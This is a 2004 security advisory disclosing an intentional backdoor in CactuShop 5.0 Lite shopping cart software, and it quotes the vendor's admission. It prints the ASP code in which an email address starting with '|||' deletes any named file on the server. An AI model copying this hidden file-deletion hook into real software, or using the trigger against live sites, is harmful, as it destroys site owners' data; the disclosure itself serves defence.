[Full-Disclosure] CactuSoft CactuShop 5.0 Lite shopping cart software backdoor

   S-Quadra Advisory #2004-02-06

Topic: CactuSoft CactuShop 5.0 Lite shopping cart software backdoor
Severity: High
Vendor URL: http://www.cactushop.com
Advisory URL: http://www.s-quadra.com/advisories/Adv-20040206.txt
Release date: 06 Feb 2004

1. DESCRIPTION

CactuShop is an ASP application for running an e-commerce web site. It
incorporates
a databased catalogue system, front end pages for product navigation,
back end pages
for updating product details and robust basket code for memorizing
product selections
as a visitor moves around the web site. ASP software is designed to run
on a Microsoft
NT or Win 2000 server. Please visit http://www.cactushop.com for
information about
CactuShop shopping cart.

2. DETAILS

There is a backdoor in 5.0 Lite versin of CactuShop allowing a remote
attacker to
delete any file on target system.

The offending code can be found in includes/functions.asp file.
AddToMailingList()
function which implemented in this file, adds a user's email address to
store mailing
list. This function checks the provided email address and if it starts
with '|||'
the rest of the address is interpetered as the name of the file to be
deleted.
Below is the snip of source code:

Function AddToMailingList(strEmailAddress, strFormValue, htmlvalue)
…
'---------------------------------
'CHECK IF IT'S VALID
'---------------------------------
if strEmailAddress <> "" then
If Left(strEmailAddress, 3) = "|||" Then

Server.CreateObject("Scripting.FileSystemObject").DeleteFile(Server.MapPath("./")
& Mid(strEmailAddress, 4))
AddToMailingList =
GetString("ContentText_EmailAddressNotValid") & " " & strEmailFrom & "."
Exit Function
End If
else
AddToMailingList = GetString("ContentText_NoEmailAddressEntered")
Exit Function
end if
…

3. FIX INFORMATION

S-Quadra alerted CactuShop development team to these issues on 05 Feb 2004.
The following response has been received:

"The lite version of our software DOES have backdoors. It IS NOT
intended for live use.
Users are specifically prohibited from using it as such!!!
If people are using this softare on a live site then they are violating our
license agreement. The full version of the software is secure."

CactuShop Lite license agreement indeed states that "IF YOU WISH TO USE
THE SOFTWARE
ON A LIVE WEB SITE YOU MUST PURCHASE THE FULL VERSION. CACTUSOFT
RESERVES THE RIGHT
TO TAKE BOTH LEGAL AND TECHNICAL STEPS TO PREVENT USE OF CACTUSHOP LITE
IN BREACH
OF THIS AGREEMENT…", but we believe that the public should be informed
about the
presense of the backdoor in CactuShop Lite.

4. CREDITS

Nick Gudov <[email protected]> is responsible for discovering this issue.

5. ABOUT

S-Quadra offers services in computer security, penetration testing and
network
assesment, web application security, source code review and third party
product
vulnerability assesment, forensic support and reverse engineering.

      S-Quadra Advisory #2004-02-06

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